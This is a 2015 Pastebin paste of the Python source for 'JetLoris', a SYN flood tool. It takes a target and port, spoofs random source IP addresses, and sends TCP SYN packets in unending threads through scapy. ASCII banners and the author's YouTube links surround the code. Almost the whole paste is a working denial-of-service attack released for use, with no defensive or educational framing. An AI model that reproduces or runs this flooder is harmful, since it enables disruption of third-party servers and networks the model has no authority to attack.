Advertisement
Guest User

[RELEASE] JetLoris SYN Flooder Source Code

a guest
Jul 12th, 2015
372
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.46 KB | None | 0 0
  1. #My channel: www.youtube.com/user/jettt15
  2. #video of script: https://www.youtube.com/watch?v=0Z0Mxll5Vgo
  3. #taking credit for this code will classify you as a proper dick
  4.  
  5. import socket, random, sys, threading, os
  6. import argparse
  7. import getopt
  8. from scapy.all import *
  9.  
  10. W = '\033[0m'  # white (normal)
  11. R = '\033[31m'  # red
  12. G = '\033[32m'  # green
  13. O = '\033[33m'  # orange
  14. B = '\033[34m'  # blue
  15. P = '\033[35m'  # purple
  16. C = '\033[36m'  # cyan
  17. GR = '\033[37m'  # gray
  18.  
  19. os.system('clear')
  20. if len(sys.argv) != 3:
  21.     print W + '         just a simple syn flood script...           '
  22.     print 80 * "-" + W
  23.     print("  "  + GR + "              __|__            |            __|__")
  24.     print("  " + GR + "     *---oOo---*      ---|---      *---oOo---*")
  25.     print("  " + GR +  "                             _(O)_")
  26.     print(" " + GR + "                   *---------(|_*_|)---------*")
  27.     print W + ''
  28.     print("   __     ______     ______   __         ______     ______     __     ______    ")
  29.     print("  /\ \  /\ ___\  /\__  _\ /\ \      /\ __ \  /\ == \  /\ \  /\ ___\  ")
  30.     print(" _\_\ \ \ \ __\  \/_/\ \/ \ \ \____  \ \ \/\ \ \ \ __<   \ \ \ \ \___  \ ")
  31.     print("/\_____\ \ \_____\   \ \_\ \ \_____\ \ \_____\ \ \_\ \_\ \ \_\ \/\_____\ ")
  32.     print("\/_____/   \/_____/     \/_/   \/_____/   \/_____/   \/_/ /_/   \/_/   \/_____/ ")
  33.     print ""
  34.     print B + '   Coded by Jet              ' + P + '   Delevoped for Linux.   ' + W                                                                                              
  35.     print 80 * "-" + W
  36.     print "Usage:" + GR + " python %s <target> <port>" % sys.argv[0]
  37.         if os.getuid() != 0:
  38.             print R + '[!]' + O + ' ERROR:' + G + ' JetLoris' + O + ' must be run as ' + R + 'root' + W
  39.             print R + '[!]' + O + ' login as root, try ' + W + '"sudo python %s"' % sys.argv[0]
  40.     print "" + W
  41.     sys.exit(1)
  42.  
  43. target = sys.argv[1]
  44. port = int(sys.argv[2])
  45. ip = socket.gethostbyname( target )
  46. total = 0
  47. conf.iface='en1';#network card
  48.  
  49. class sendSYN(threading.Thread):
  50.     global target, port
  51.     def __init__(self):
  52.         threading.Thread.__init__(self)
  53.     def run(self):
  54.         i = IP()
  55.         i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
  56.         i.dst = target
  57.  
  58.         t = TCP()
  59.         t.sport = random.randint(1,65535)
  60.         t.dport = port
  61.         t.flags = 'S'
  62.         send(i/t, verbose=0)
  63. try:
  64.     print W + '         just a simple syn flood script...           '
  65.     print 80 * "-"
  66.     print("     " + R + "Jet's Incoming!        ")
  67.     print W + ''
  68.     print("                            /")
  69.     print("                    /      /")
  70.     print("                /  /   /  /         /")
  71.     print("               /      /       /    /")
  72.     print("             ,---------------.   ,-,")
  73.     print("            /                 `-'  |")
  74.     print '           [   A I R M A I L   |   |     ' + R + 'Airstrike Inbound ' + W
  75.     print("            \                ,-.  |")
  76.     print("             `---------------'   `-`")
  77.     print 80 * "-"
  78.     if os.getuid() != 0:
  79.         print R + '[!]' + O + ' ERROR:' + G + ' JetLoris' + O + ' must be run as ' + R + 'root' + W
  80.         print R + '[!]' + O + ' login as root, try ' + W + '"sudo python %s"' % sys.argv[0] + W
  81.         sys.exit(1)
  82.     print W + 'SYN Flooding' + O + ' %s:%i' % (target, port)
  83.     print W + 'Domain Server:' + GR + ' [' + ip + ']'
  84.     while 1:
  85.         sendSYN().start()
  86.         total += 1
  87.         sys.stdout.write( W + "\rPackets Sent: " + G + "%i" % total)
  88.  
  89. except KeyboardInterrupt:
  90.         print R + '\n[!]' + O + ' Proccess Killed' + W
  91.         sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement